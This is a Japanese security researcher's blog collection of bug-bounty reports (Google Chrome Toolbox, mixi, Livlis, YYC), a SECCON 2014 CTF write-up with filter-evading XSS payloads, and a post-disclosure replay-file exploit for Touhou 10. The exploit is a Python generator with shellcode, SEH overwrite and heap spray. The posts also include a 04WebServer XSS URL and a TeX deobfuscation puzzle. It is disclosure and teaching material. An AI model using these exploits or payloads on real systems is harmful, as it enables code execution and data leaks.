Chrome Toolboxの脆弱性を見つけてGoogleから1000ドルもらった

Googleウェブサービスやソフトウェアに脆弱性を見つけると金がもらえる。詳細。世界中のスーパーハカーが探しているから簡単に見つかる脆弱性なんてもう残っていないだろうと思っていたが、偶然見つけてしまい、報酬として1000ドルもらった。

Chrome Toolbox

Chrome ToolboxGoogle謹製のChrome拡張で、Chromeに細々とした機能を追加してくれる。タブをマウスホイールで切り替えられる機能と、ウィンドウを閉じようとしたときに警告してくれる機能が便利で使っていた。他にも画像を壁紙に設定するとか、フォームの自動入力とかの機能がある。NPAPIを使用していて、ChromeのNPAPIが削除されることから、最初はストアから消え、復活したと思ったらChrome Toolboxをアンインストールするだけのアプリになっていた。これが自動アップデートでインストールされるので今動いているChrome Toolboxは無いはず。

脆弱性の詳細

単純なDOM Based XSS。フォームの自動入力のページタイトルやURLと、ショートカットキーで開くページをブックマークから選択する箇所でエスケープがされていなかった。


Chrome Toolboxを無理矢理manifest v2に対応させて動かしてみたけど、Content Security Policyのせいで、imgタグのonerrorは動かなかった。Content Security Policyすごい。
コードを見るとinnerHTMLやevalを多用していて、あまりセキュリティのことを考えていないようだった。扱うデータは基本的にユーザーが入力するものだからかもしれない。
攻撃者が狙って攻撃することは難しそうだけど、この脆弱性を発見したのはタグを含んだページの上で間違ってフォームの内容を保存するショートカットキー(F10)を押してしまったからなので、タイトルに細工した罠ページを作れば引っ掛かる人がいるかもしれないと添えて報告した。

その他

私が報告したときはChrome拡張が報奨金支払金の対象とは明記されていなくて後から追加された(ストアでby Googleと付いているものが対象らしい)。だから脆弱性を探す人がいなくて残っていたのかもしれない。
海外からお金をもらうのは何かと面倒。W-8BENとかいう税金関係の書類を書かないといけないし、みずほ銀行に手数料2500円取られたし、その明細はみずほ銀行から紙で届いた。

Googleさん、Chrome Toolkitを復活させるか、同じ機能をChromeに付けてください(人∀・)

mixiに報告した脆弱性4

mixiの脆弱性報告制度(すでに終了している)で報告した脆弱性

LivlisにログインしているユーザーのTwitterアカウント名の漏洩

  • 2013/12/19 報告
  • 2014/05/15 60,000円Amazonギフト券が届いた
  • 2014/07/08 修正完了

Livlismixi子会社のkamadoが運営するサービス。現在、Twitterでログインしてソースを見ると、

<script type="text/javascript">
var L = {
  "ShowUser": {
    "user_id": "50315",
    "screen_name": "kusano\u3055\u3093@\u304c\u3093\u3070\u3089\u306a\u3044",
    "name": "kusano_k",
    "profile_image_url": "http:\/\/pbs.twimg.com\/profile_images\/344513261568620402\/c29dcfb156335e23fc3fd76ed66b2fd4_normal.png",
    "bookmarks": []
  },
  "URL": {
    "ssl": "https:\/\/www.livlis.com",
    "api": "http:\/\/www.livlis.com"
  },
  "Cities": [

という部分がある。ページ中では1行だが整形した。報告時はこの部分が

<script type="text/javascript" src="/contents/js"></script>

と別ファイルを読むようになっていた。これでは、

<script src="http://www.livlis.com/contents/js"></script>
<script>
  alert(L.ShowUser.name)
</script>

というようなページをLivlisにログインしたまま開いてしまうと、Twitterのユーザー名などが漏洩してしまう。

mixiのパスワードリマインダー

  • 2014/02/12 報告
  • 2014/06/09 修正完了&報酬支払い対象外との連絡

mixiのパスワードリマインダーには、メールアドレスの一部を照会するという機能がある。ページには

※この機能は、「プロフィール検索」設定が「公開」であり、かつ「生まれた年」「誕生日」が「全体に公開」になっている方のみご利用いただけます。

と書かれているが、任意のユーザーのメールアドレスの一部を照会することが可能だった。適当なパラメタで検索して、ユーザーを選択する画面でソース中のユーザーIDをメールアドレスを知りたいユーザーのIDに書き換えれば良かった。
私はそもそもメールアドレスの一部を照会するという機能があることは知らなかったし、知らない人は多そう。珍しいドメインのメールアドレスを使っている人は、メールアドレスを変えるなり、上述の条件を満たさないようにしてこの機能を使えなくするなりしたほうが良いかもしれない。

まとめ

既知の脆弱性として報酬支払いの対象外になった脆弱性がまだ残っているけど、当分修正はされなさそう。放置するのはまずい脆弱性だと思うのだが……。
一部のサービスとかではなく、子会社も含めた全てのウェブサービスとアプリが対象になっているのはすごい度胸だし、報酬額も太っ腹だった。支払いが渋いとか叩かれていたけど、そもそも報酬額が高すぎたのではないかと思う。ありがとうございました。

SECCON 2014 オンライン予選(日本語) Write-up

ぼっチームsuperflipは1403点、24位だった。


練習問題 練習問題 100点

FLAG{seccon2014}

このパケットを解析せよ ネットワーク 100点

FTP通信。FTPは制御とファイル転送は別のポートで行う。55番目のパケットに、

RkxBR3tGN1AgMTUgTjA3IDUzQ1VSM30=

というファイルがあり、Base64デコードすると、

FLAG{F7P 15 N07 53CUR3}

ソーシャルハック ネットワーク 300点

今流行のLINE乗っ取り。こちらの用意したサイトにアクセスさせると、

MyVNCpasswordIsVNCpass123

というリファラが付いているので、接続元にVNCで接続すれば良い。

FLAG{giveMeYourWebM0n3y}

decode me 暗号 100点

EUCの中国語ファイル。ROT13にすると英語部分が

SECCON 2014
rot13/47

になる。[0xa1, 0xfe]の文字に対して47を引いたり足したりすれば良い。
nkfでできると復号文に書いてあった( ・∀・)つ〃∩ ヘェーヘェーヘェー

nkf -r encoded.txt > decoded.txt
SECCON 2014 に参加のみなさまこんにちは。
rot13/47 に気付くとは流石です。
nkfコマンドで簡単にデコードできることにも気付きましたか?
というわけで、おめでとうございます!
フラグは半角英数文字に変換してから入力してください。
FLAG{Have fun SECCON2014}
FLAG{Have fun SECCON2014}

Decrypt it! 暗号 300点

最後のほう取り組んでいたが、結局解けなかった。第一段階はZIPの既知平文攻撃。pkcrackで攻撃できる。CardWareだけど、絵はがき送っていない。ごめんなさい(´・ω・`)

>pkcrack.exe -c crypt -p crypt -C flag.zip -P crypt.zip
Files read. Starting stage 1 on Sat Jul 19 18:00:56 2014
Generating 1st generation of possible key2_5158 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Done. Left with 3282 possible Values. bestOffset is 24.
Stage 1 completed. Starting stage 2 on Sat Jul 19 18:01:09 2014
Ta-daaaaa! key0=376bccce, key1=6037696a, key2=eeb7849c
Probabilistic test succeeded for 5139 bytes.
Strange... had a false hit.
Strange... had a false hit.
Stage 2 completed. Starting password search on Sat Jul 19 18:02:23 2014
Key: 34 35 65 50 58 38 54 64 2d 3a
Or as a string: '45ePX8Td-:' (without the enclosing single quotes)
Finished on Sat Jul 19 18:02:52 2014

ZIPを解凍するとPDFをcryptで暗号化したファイルが出てくる。せめて、公開鍵を問題に含めてほしかったorz

2014/07/20 追記

最後まで解いた。
ZIPの中にはreadme.txtも入っていて、中身は、

$ ./makekey pri.txt pub.txt
$ ./crypt 1 pub.txt flag.pdf flag.bin
$ rm *.txt flag.pdf

cryptを解析すると、次のプログラムの前半部のような処理をしていることが分かる。

import sys
import struct

key = map(int, open(sys.argv[2]).read().split())

if sys.argv[1]!="0":
    P = open(sys.argv[3], "rb").read()
    C = []
    for p in P:
        C += [sum(key[7-i] for i in range(8) if ord(p)>>i&1)]
    open(sys.argv[4], "wb").write(
        struct.pack("<I", len(P)*4) +
        "".join(struct.pack("<I",c) for c in C).encode("zlib"))
else:
    T = {}
    for p in range(256):
        T[sum(key[7-i] for i in range(8) if p>>i&1)] = p
    buf = open(sys.argv[3], "rb").read()
    n = struct.unpack("<I", buf[:4])[0]/4
    C = struct.unpack("<"+"I"*n, buf[4:].decode("zlib"))
    P = "".join(chr(T[c]) for c in C)
    open(sys.argv[4], "wb").write(P)

各ビットの位置に対応する値が決まっていて、そのビットが立っていればその値を足し合わせるという暗号化。
pub.txtも消されているので、まずはpub.txtを復元する。暗号化前のファイルがPDFと分かっているので、例えば最初の8バイトは%PDF-1.3であるし、PDF中にはテキストも含まれているので他にもいくつかのバイトの暗号前後の値が分かる。

0x25 →  439
0x50 →  310
0x44 →  266
0x46 →  667
 :

例えば、0x44と0x46の差分は0x02なので0x02に対応する値は667-266=401である。同様にして最上位ビット以外の値は求めることができる。最上位ビットは暗号文中の最大の値から0x7fに対応する値を引けば良い。pub.txtは次の通り、左が上位ビット。

380 214 48 96 109 52 401 339

ブロックサイズが8ビットしかないので、平文と暗号文のペアを求めておけば復号できる。それが↑のプログラムの後半のコード。

Merkle-Hellmanナップサック暗号という暗号方式らしい。

また、問題プログラムの復号ルーチンにはrとqが埋め込まれている。r=843, q=463。rのmod qにおける逆元はr-1=357なので、pub.txtの各値xに対してx*357%463を求めれば、pri.txtが生成できる。

1 3 5 10 21 44 90 180

pri.txtがあれば、問題プログラムを使っても復号できる。

$ ./crypt 0 pri.txt flag.bin flag.pdf
FLAG{MeRkleHellmAnKnApsAckCRyptOsysteM}

879,394bytes フォレンジック 100点

ファイルイメージの一部が問題で879,394bytesのファイルのファイル名を答える。0x000D6B22で検索したら、Chrys_anthem_umとかCHRYSA~1JPGとか文字が見えたので、

Chrysanthemum.jpg

をサブミットしたら正解だった。

x86アセンブラを読もう バイナリ 100点

x86のアセブラの実行結果を答える問題。Immunity Debuggerで適当なプログラムを動かして、問題のアセンブラを上書きすれば良い。

0136104B     6A FF              PUSH FF

で実際はスタックにFFFFFFFFが積まれるけれど、スタックに積まれた値を000000FFに書き換えたら答えになった。何故だろう?

32638

重ねてみよう プログラミング 100点

白黒のアニメーションGIF。Photoshopで開いてレイヤーを「比較(明)」に変えていった。まとめて変更できなくて面倒だった。白黒反転させるとQRコードになる。元からそうなのかPhotoshopの制限なのか、少し書けてるが画素があったので、手書きで修正したら読み取れた。

FLAG{Many dot makes a QR code}

あみだくじ プログラミング 300点

あみだくじで正解の番号を選んでいく。実行ごとに結果が変わらないので最初は手作業でやっていたが、さすがに面倒になった。プログラムでは縦棒は無視して横棒が出てきたときに両端の文字を入れ替えていって、最後に*と同じ位置の数字を答えれば良い。上下が反転してもプログラムはほぼそのまま。横向きになるときは最初に回転させるようにした。

import subprocess
import sys
p = subprocess.Popen(["./amida"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
for i in range(1,100000):
    s = ""
    while True:
        c = p.stdout.read(1)
        sys.stdout.write(c)
        sys.stdout.flush()
        s += c
        if c=="?":
            break
    s = s.split("\n")
    if "-------------------" in s[1]:
        tmp = s[1:-1]
        del s[1:]
        for t in tmp:
            t += " "*(len(tmp[0])-len(t))
        for j in range(len(tmp[0])):
            s += [""]
            for k in range(len(tmp)):
                if tmp[k][j]=="-":
                    s[-1] += "|"
                elif tmp[k][j]=="|":
                    s[-1] += "-"
                else:
                    s[-1] += tmp[k][j]
    T = list(s[1])
    j = 2
    while True:
        if "|" not in s[j]:
            break
        ks = -1
        for k in range(len(s[j])):
            if s[j][k]=="-":
                if ks==-1:
                    ks = k
            else:
                if ks!=-1:
                    T[ks-1],T[k] = T[k],T[ks-1]
                    ks = -1
        j += 1
    S = list(s[j])
    for t,s in zip(T,S):
        if s=="*":
            ans = t
        if t=="*":
            ans = s
    print "Ans:", ans
    p.stdin.write(ans+"\n")
    p.stdin.flush()
No.1
1 2 3 4 5 6 7 8
|-| |-| | | |-|
| | | | | |-| |
| | | | | | |-|
|-| | |-| | | |
| | |-| |-| |-|
|-| | |-| | | |
| |-| | |-| |-|
|-| |-| | | | |
| | | | |-| | |
| | |-| | | |-|
|-| | | |-| | |
| | |-| | |-| |
| | | | |-| | |
| |-| | | |-| |
| | |-| | | |-|
| | | | | |-| |
| |-| | |-| |-|
|-| |-| | | | |
| | | | | |-| |
              *
?Ans: 4
 No.2
1 2 3 4 5 6 7 8
| |-| | | |-| |
|-| |-| |-| | |
| |-| | | | |-|
 :
 | | |-| | | |-|
 | |-| |-| | | |
 |-| |-| |-| | |
 8 7 6 5 4 3 2 1
?Ans: 8
 No.39
         *      
 | |-| | | | |-|
 | | |-| | | | |
 |-| | |-| | |-|
 | | | | | | | |
 | | |-| |-| |-|
 |-| | |-| |-| |
 | | |-| | | | |
 | |-| |-| |-| |
 |-| |-| |-| |-|
 | |-| |-| |-| |
 |-| | | |-| |-|
 | | |-| | | | |
 |-| | |-| | |-|
 | | | | |-| | |
 | | | |-| |-| |
 |-| | | |-| |-|
 | | | |-| | | |
 | |-| | | |-| |
 |-| | | |-| |-|
 8 7 6 5 4 3 2 1
?Ans: 5
 No.40
 *              
 |-| | |-| |-| |
 | |-| | |-| | |
 |-| |-| | | | |
 :
|----|    |   |   |  | |--|  
|    |----|   |   |  | |  |  
|    |    |---|   |--| |  |  
|----|    |   |   |  |-|  |  
                       *     
?Ans: 7
 No.43
    *                         
|   |----|   |-|   |  |  |    
|   |    |---| |---|  |--|    
|   |----|   | |   |--|  |    
|---|    |   |-|   |  |--|    
|   |    |---| |   |--|  |    
|   |----|   | |---|  |  |    
|---|    |   |-|   |  |  |    
|   |    |---| |---|  |--|    
|   |----|   | |   |--|  |    
|   |    |   |-|   |  |--|    
|   |----|   | |---|  |  |    
|   |    |   |-|   |--|  |    
|---|    |   | |---|  |  |    
|   |    |---| |   |--|  |    
|   |----|   |-|   |  |--|    
|   |    |   | |   |  |  |    
|---|    |---| |---|  |--|    
|   |----|   |-|   |  |  |    
|---|    |---| |   |--|  |    
1   2    3   4 5   6  7  8    
?Ans: 6
 No.44
    *                         
|---|  |    |--|  |    |   |  
|   |  |    |  |--|    |---|  
|   |--|    |  |  |----|   |  
 :
 | |-| |-| |-| |
 | | | | | | |-|
 8 7 6 5 4 3 2 1
?Ans: 5
 No.541
 -------------------1
  |  | |  | | | |    
  |  | |  | | | |    
 -------------------2
    |   |          | 
    |   |          | 
    |   |          | 
 -------------------3
 | | |   |  |  |  |  
 -------------------4
  | |  |   |  | |  | 
  | |  |   |  | |  | 
  | |  |   |  | |  | 
  | |  |   |  | |  | 
 -------------------5
 |      | |  |    |  
 |      | |  |    |  
 |      | |  |    |  
 |      | |  |    |  
*-------------------6
  |  | |        |  | 
  |  | |        |  | 
 -------------------7
   |     | |  |   |  
   |     | |  |   |  
 -------------------8
?Ans: 8
 No.542
1 2 3 4 5 6 7 8
| | | | |-| |-|
| | |-| | | | |
| | | | | | | |
 :
 -------------------7
 | |  | | |  |    |  
*-------------------8
?Ans: 8
 No.1000
1 2 3 4 5 6 7 8
| | |-| |-| |-|
| | | |-| |-| |
|-| | | |-| | |
| | |-| | |-| |
| |-| | | | | |
|-| |-| | |-| |
| | | | |-| | |
| | |-| | | |-|
| |-| |-| |-| |
|-| | | | | |-|
| |-| |-| | | |
| | |-| |-| |-|
|-| | |-| |-| |
| |-| | | | | |
|-| | | |-| |-|
| |-| |-| | | |
| | | | | | | |
|-| | |-| | |-|
| | |-| | | | |
            *  
?Ans: 3
 FLAG{c4693af1761200417d5645bd084e28f0f2b426bf}
FLAG{c4693af1761200417d5645bd084e28f0f2b426bf}

箱庭SQLiチャレンジ Web 100点


こんな問題。実行中にプログラムをダンプして、メモリイメージの中から「FLAG{」を探すと答えが出てくる。

FLAG{EnjoySQLi}

箱庭XSSリターンズ Web 300点


こんな問題。一度使った単語は以降のステージでは使えなくなる。

"><script>_='aconstructor'.slice(1001-1000),__='aalert'.slice(1001-1000),___='aXSS'.slice(1001-1000),{}[_][_](__+'(\''+___+'\')')()</script>
"onmouseover="_='bconstructor'.substring(1003-1002),__='balert'.substring(1003-1002),___='bXSS'.substring(1003-1002),{}[_][_](__+'(\''+___+'\')')()
"onmousedown="_='cconstructor'.substr(1005-1004),__='calert'.substr(1005-1004),___='cXSS'.substr(1005-1004),{}[_][_](__+'(\''+___+'\')')()
"onmouseup="_='constructor',__='alert',___='XSS',{}[_][_](__+'(\''+___+'\')')()
"onclick="_='&#99onstructor',__='&#97lert',___='&#88SS',{}[_][_](__+'(\''+___+'\')')()
"onkeydown="_='&#x63onstructor',__='&#x61lert',___='&#x58SS',{}[_][_](__+'(\''+___+'\')')()
"onfocus="_='\u0063onstructor',__='\u0061lert',___='\u0058SS',{}[_][_](__+'(\''+___+'\')')()
"onchange="_='\143onstructor',__='\141lert',___='\130SS',{}[_][_](__+'(\''+___+'\')')()

これで部分点は貰えた。jjencodeで記号だけにすれば良いのではと思ったけど、内部で使っているIEが古いらしく、"hogehoge"[1]と文字を取り出すことができないので、動かなかった(´・ω・`)

FLAG{dbe6Z7bdbpa3e7cdcccc5c0} (100点)

LZHの関連付けをWindows標準(エクスプローラ)に戻す(初期化する)

ZIPは下記のサイトに書いてあるが、LZHが無かった。

ZIPの関連付けをWindows標準に戻す(初期化する)

以下の内容を拡張子.regのファイルに書いて、レジストリに追加すれば良い。Windows 7レジストリからエクスポートしたけど、Windows 8でも動いた。Vistaでもいけると思う。上のサイトではHKEY_CLASSES_ROOT\LzhCompressedFolder2を一度削除しているようだけど、その処理は入れていない。HKEY_CLASSES_ROOT\.lzhも含めておいた。

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\LzhCompressedFolder2]
@="Compressed (LZH) Folder"
"FriendlyTypeName"=hex(2):40,00,25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,\
  00,6f,00,6f,00,74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,\
  32,00,5c,00,6c,00,7a,00,68,00,66,00,6c,00,64,00,72,00,32,00,2e,00,64,00,6c,\
  00,6c,00,2c,00,2d,00,31,00,30,00,31,00,39,00,35,00,00,00

[HKEY_CLASSES_ROOT\LzhCompressedFolder2\CLSID]
@="{4F289A46-2BBB-4AE8-9EDA-E5E034707A71}"

[HKEY_CLASSES_ROOT\LzhCompressedFolder2\DefaultIcon]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,\
  00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,6c,00,7a,00,\
  68,00,66,00,6c,00,64,00,72,00,32,00,2e,00,64,00,6c,00,6c,00,00,00

[HKEY_CLASSES_ROOT\LzhCompressedFolder2\shell]

[HKEY_CLASSES_ROOT\LzhCompressedFolder2\shell\find]
"LegacyDisable"=""
"SuppressionPolicy"=dword:00000080

[HKEY_CLASSES_ROOT\LzhCompressedFolder2\shell\find\command]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,\
  00,5c,00,45,00,78,00,70,00,6c,00,6f,00,72,00,65,00,72,00,2e,00,65,00,78,00,\
  65,00,00,00
"DelegateExecute"="{a015411a-f97d-4ef3-8425-8a38d022aebc}"

[HKEY_CLASSES_ROOT\LzhCompressedFolder2\shell\Open]
"MultiSelectModel"="Document"

[HKEY_CLASSES_ROOT\LzhCompressedFolder2\shell\Open\Command]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,\
  00,5c,00,45,00,78,00,70,00,6c,00,6f,00,72,00,65,00,72,00,2e,00,65,00,78,00,\
  65,00,20,00,2f,00,69,00,64,00,6c,00,69,00,73,00,74,00,2c,00,25,00,49,00,2c,\
  00,25,00,4c,00,00,00
"DelegateExecute"="{11dbb47c-a525-400b-9e80-a54615a090c0}"

[HKEY_CLASSES_ROOT\LzhCompressedFolder2\ShellEx]

[HKEY_CLASSES_ROOT\LzhCompressedFolder2\ShellEx\ContextMenuHandlers]

[HKEY_CLASSES_ROOT\LzhCompressedFolder2\ShellEx\ContextMenuHandlers\{58001B57-DC1F-4FAC-AC66-79E214C1A782}]
@="Compressed (LZH) Folder Menu"

[HKEY_CLASSES_ROOT\LzhCompressedFolder2\ShellEx\StorageHandler]
@="{4F289A46-2BBB-4AE8-9EDA-E5E034707A71}"

[HKEY_CLASSES_ROOT\.lzh]
"Content Type"="application/x-lzh-compressed"
@="LzhCompressedFolder2"

[HKEY_CLASSES_ROOT\.lzh\OpenWithProgids]
"LzhCompressedFolder2"=""

「東方風神録 〜 Mountain of Faith.」と「04WebServer」の脆弱性

IPAに報告した「東方風神録 〜 Mountain of Faith.」と「04WebServer」の脆弱性について、IPAに情報非開示依頼の取り下げを申請して認められたので、脆弱性関連情報を公開します。私はこれらの情報の内容が真実であると確信していますし、開発者などの名誉を毀損する意図でこれらの情報を公開するわけではありません。

東方風神録 〜 Mountain of Faith.」のバッファーオーバーラン

東方風神録 〜 Mountain of Faith.

「東方文花帖 〜 Shoot the Bullet.」の脆弱性を見つけたときに、東方シリーズの他の作品も調べていた。最近の東方シリーズはコンパイラが変わったのかスタックがカナリアで保護されていて、バッファーオーバーランでの攻撃はできないと一旦は諦めていたが、SEHオーバーライトという手法によって攻撃できた。SEHオーバーライトはこのページが詳しい。下記のExploitでは、Heap sprayという手法によってWindows XPより後のOSでも攻撃が可能になっている。
この脆弱性はプレイヤー名表示の処理に存在する。長いプレイヤー名を詰め込むと、プレイヤー名と別のパラメタの位置が被り、その位置に0x00以外のバイトがあるとプレイヤー名表示の処理以前に落ちたりして、東方文花帖東方風神録以外の東方シリーズを攻撃することはできなかった。
ユーザーにできる対策は、信用できないリプレイデータを開かないこと。

Exploit

このzipファイルの中のreplayフォルダの中身全部を、東方風神録のreplayフォルダの中にコピーし、リプレイを再生しようとすると、メモ帳が起動する。既存のリプレイを上書きする必要があるので、避けておくこと。
生成スクリプト

# coding: utf-8

# 東方風神録 1.00a Exploit

from struct import pack
import array

# Shell code
# http://code.google.com/p/win-exec-calc-shellcode/
shell = ("31f656648b76308b760c8b761c8b6e08"
         "8b368b5d3c8b5c1d7801eb8b4b1867e3"
         "ec8b7b2001ef8b7c8ffc01ef31c09932"
         "1766c1ca01ae75f76681fa10f5e0e275"
         "cc8b532401ea0fb7144a8b7b1c01ef03"
         "2c97682e6578656863616c6354870424"
         "50ffd5"+
         "33c0"+            # xor eax,eax
         "33c9"+            # xor ecx,ecx
         "49"+              # dec ecx
         "648908"+          # mov fs:[eax],ecx
         "cc"               # int3
         ).decode("hex")

seh = 0x0c0c0c0c            # address of SEH handler
heap = 8*1024*1024          # size of nops

def main():
    d = ("\xff"*0xc
      + "\x33\xe9\xee\x4f"  # time
      + "\xff"*0x3d2
      + pack("<I",seh)      # SEH handler
      + "\x90"*heap         # nop
      + shell)              # shell code
    d = array.array("B",(ord(x) for x in d))
    print "compress"
    c = compress(d)
    print "encrypt 1"
    c = encrypt(c,0x3d,0x7a,0x80)
    print "encrypt 2"
    c = encrypt(c,0xaa,0xe1,0x400)
    t = ("t10r\x05\x00\x00\x00\x00\x00\x00\x00"+pack("<I",len(c)+0x24)+
         "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+pack("<I",len(c))+
         pack("<I",len(d))+
         "".join(chr(x) for x in c))
    for i in range(1,16+1):
        open("th10_%02d.rpy"%i,"wb").write(t)

def compress(d):
    class bitstream:
        def __init__(s):
            s.B = array.array("B")
            s.n = 0
        def addbit(s,b):
            if len(s.B)<=s.n/8:
                s.B.append(0)
            s.B[s.n/8] |= b<<(7-s.n%8)
            s.n += 1
        def add(s,d,l):
            for i in range(l)[::-1]:
                s.addbit(d>>i&1)
        def get(s):
            return s.B
    
    C = bitstream()
    i = 0
    while i<len(d):
        r = 0
        while i+r<len(d) and d[i+r]==d[i]:
            r += 1
        if r<19 or (i+1)%0x2000==0:
            C.addbit(1)
            C.add(d[i],8)
            i += 1
        else:
            C.addbit(1)
            C.add(d[i],8)
            for j in xrange((r-1)/18):
                C.addbit(0)
                C.add((i+1)%0x2000,13)
                C.add(15,4)
            i += 1+(r-1)/18*18
    C.addbit(0)
    C.add(0,13)
    return C.get()

def encrypt(d,k,kd,b):
    n = len(d)
    nd = n%b
    if nd>=b/4: nd=0
    if n%2!=0: nd+=1
    n -= nd
    
    r = d[:]
    bi = 0
    while bi<n:
        bs = min(b,n-bi)
        p = bi
        for i in range((bs+1)/2):
            r[p] = d[bi+bs-i*2-1]^(k&0xff); k+=kd; p+=1
        for i in range(bs/2):
            r[p] = d[bi+bs-i*2-2]^(k&0xff); k+=kd; p+=1
        bi += b
    return r

if __name__=="__main__":
    main()

NOPで埋めた8MBのセーブデータを16個読み込ませて、制御を0x0c0c0c0cに飛ばしている。まあ、だいたい0x0c0c0c0cにセーブデータのどれかが読み込まれているでしょう。

普通ならば電卓を起動したあとは、元のプログラムはどうなっても良いのだけど、SEHを上書きしたまま例外が発生すると、さらに電卓を起動する処理が走るので気をつけましょうw

04WebServer」のXSS

04WebServer
404ページにXSSが存在する。

http://localhost/hoge%3Cscript%3Ealert%28location%29%3C/script%3E

にアクセスすると、アラートが表示される。

mixiに報告した脆弱性3(+報告しなかった脆弱性)

mixiの脆弱性報告制度(終了)に報告した脆弱性と報告しなかった脆弱性。子会社の株式会社Diverseが運営するYYCという出会い系サイトについて。

拒否設定について

  • 2014/03/12 報告
  • 2014/04/11 修正完了、仕様であるため制度の対象外との連絡

YYCには特定の相手を拒否できる機能がある。この機能の説明に、

拒否したことが相手にわからない?
拒否したことはお相手にはわからないようになっています。安心してご利用ください。

との記載がある。たしかに、拒否された相手のページにアクセスすると退会したかのように表示され、拒否されたのかどうかが分からない。拒否されたかどうかを知る方法があったので報告した。方法は簡単で、新規にIDを取って相手のページにアクセスするだけ。↑の記載の削除という対応だった。

無料でメールを送れる

  • 2014/05/12 報告
  • 2014/05/12 修正完了

出会い系サイトはメールの送信が有料の場合が多い。YYCもそうだけど、特定の文面のメールならば無料で送ることができた。脆弱性報告制度の対象期間内に見つけたけれど、なぜか、メールを送れるだけだし脆弱性ではないなと思い報告していなかった。冷静に考えると脆弱性な気がしたので後から報告した。mixi脆弱性報奨制度は、有料の機能が無料で使える場合、比較的報酬が高いので惜しいことをしたかもしれない。

YYCのスマホ版にはマナー返信という機能があって、お断りの定型メールは無料で送れる。

それぞれのメール送信のURLは、

http://lite.yyc.co.jp/my/mail_box/send/manner_reply?id=36&target_id=(送信相手のユーザーID)

こんな感じ。パラメタのidを書き換えたら、この5個の文面以外に、「写真を送ってくれませんか?」とか「恋人探してます!メールしましょう!」とかが出てきた。

後ろのほうのidだと「年齢認証しました」とか「個人情報が含まれているので削除しました」とか運営向けのメッセージだった。運営向けのメッセージに近いidに「このメールがどんな人に届くのかドキドキしています。」というような文面が何個かあり、これはもしかして運営がサクラをしていたという証拠では!?と思ったが、訊いてみたところ、ボトルメールという機能の定型文とのことだった。疑ってすみませんでした。

難読化されたTeXの解読(tkbctf3 Misc 100 Real World TeX)

tkbctf3で出題された問題。

問題

^^5c^^66^^75^^74^^75^^72^^65^^6c^^65^^74^^7e ^^5c^^63^^61^^74^^63^^6f^^64^^65^^60K7
KK5cKK65KK6eKK64KK6cKK69KK6eKK65KK63KK68KK61KK72- KK5cKK73KK74KK72KK69KK6eKK67KK60
KK7eKK60I13KK7eKK60G10KK5cKK6cKK65KK74 IKK7eI86G10I83G7I72G1I90V0I78V2I80G6I82G5
I13G9I76G13ZKK6cKK65KK74GLZKK6cKK65KK74I65G13LZSS46ZKK66SS6fKK6eKK74VLZSS54ZSS6dSS61SS67KK73KK74SS65KK70V
ZSS46ZSS62KK69SS67KK3dSS63KK6dKK7210VKK73SS63SS61KK6cKK65SS64VZSS6dKK61KK67KK73KK74SS65KK704V
ZKK46ZKK73SS63KK3dSS63KK6dKK63KK73SS6310VKK73KK63SS61SS6cSS65KK64VZKK6dKK61SS67SS73KK74KK65KK704V
ZSS46ZKK62SS66SS3dSS63SS6dSS62SS7810ZKK72KK65KK6cKK61SS78V
ZKK64SS65SS66ZKK68SS6fP1P2HP2P1NVLKK41ZSS68SS6fV
KK60KK60HZKK62SS69KK67VSS4dNSS6fSS73SS74VKK70KK72KK6fKK67KK72SS61SS6dKK6dKK69KK6eSS67V
SS6cSS61KK6eKK67KK75KK61KK67SS65SS73VKK61SS72KK65VSS70KK61KK72SS74SS6cSS79VSS61VKK77KK61SS79VSS6fSS66V
SS65SS78SS70KK72SS65SS73KK73SS69SS6eKK67VSS74SS68KK69KK6eKK67SS73VKK69KK6eVV
SS74SS65SS72SS6dKK73VSS6fSS66VVSS6fSS74KK68SS65KK72VKK74SS68KK69SS6eSS67SS73V
KK61KK6eKK64VSS70SS61SS72KK74SS6cSS79VVSS61VSS62SS61SS73KK69SS63VSS73KK65SS74V
SS6fSS66VKK67SS69SS76SS65SS6eVKK74SS68SS69KK6eKK67SS73SS2eKK27KK27VZKK76SS73KK6bSS69SS70V10KK70KK74V
HZSS73KK63ZSS63KK61SS74KK63SS6fKK64KK65KK60SS4912VKK41SS73KK49SS41KK69SS6dKK6dNVKK69SS73VV
KK74KK68KK65VHZKK62KK66VSS6bSS65SS79SS77KK6fKK72KK64NVSS6fKK66VSS74KK68KK69KK73VSS71KK75KK65KK73SS74KK69KK6fKK6eKK21V
ZKK6eSS65SS77SS77SS72KK69SS74SS65ZSS61ZKK72SS65KK6cSS61SS78V
ZSS6fKK70KK65KK6eSS6fSS75KK74ZSS61KK3dZSS6aKK6fSS62KK6eSS61SS6dKK65SS2eKK69KK64KK78ZSS72KK65SS6cSS61KK78V
ZKK77KK72KK69KK74KK65ZKK61HKK41SS61SS4cKK6eKK411SS64SS6eVSS69KK73VSS61KK6eSS6fKK74SS68KK65SS72VKK6bKK65SS79SS77KK6fKK72KK64KK21NV
ZKK63KK6cSS6fKK73KK65SS6fSS75SS74ZSS61ZSS72SS65SS6cKK61KK78VZKK62SS79KK65

実はこれは正しいTeXファイルで、先頭に

\documentclass{article}
\begin{document}

を、末尾に

\end{document}

を追加するとコンパイルできて、1個目のフラグが表示される。(ファイル名).idxに2個目のフラグが出力される。
どのようにコンパイルされているのか辿ってみたら面白かった。

1行目

TeXでは^^nnは文字コード0xnnの文字になる。これで1行目が解読できる。

\futurelet~ \catcode`K7

\futureletが良く分からないけど、まず\catcode`K7が実行され、以降に~ A Bが出てくると\catcode A Bが実行されるらしい。\catcodeは\catcode `K 7でKのカテゴリーコードを7にする。`Kの代わりに、\catcode 75 7と、文字コードを10進数で書くこともできる。カテゴリーコードはここに載っている。\catcode`K7によって、以降Kは^と同じ働きをするようになる。よって、KKnnは文字コード0xnnの文字になる。

\futurelet~ \catcode`K7
\endlinechar- \string`
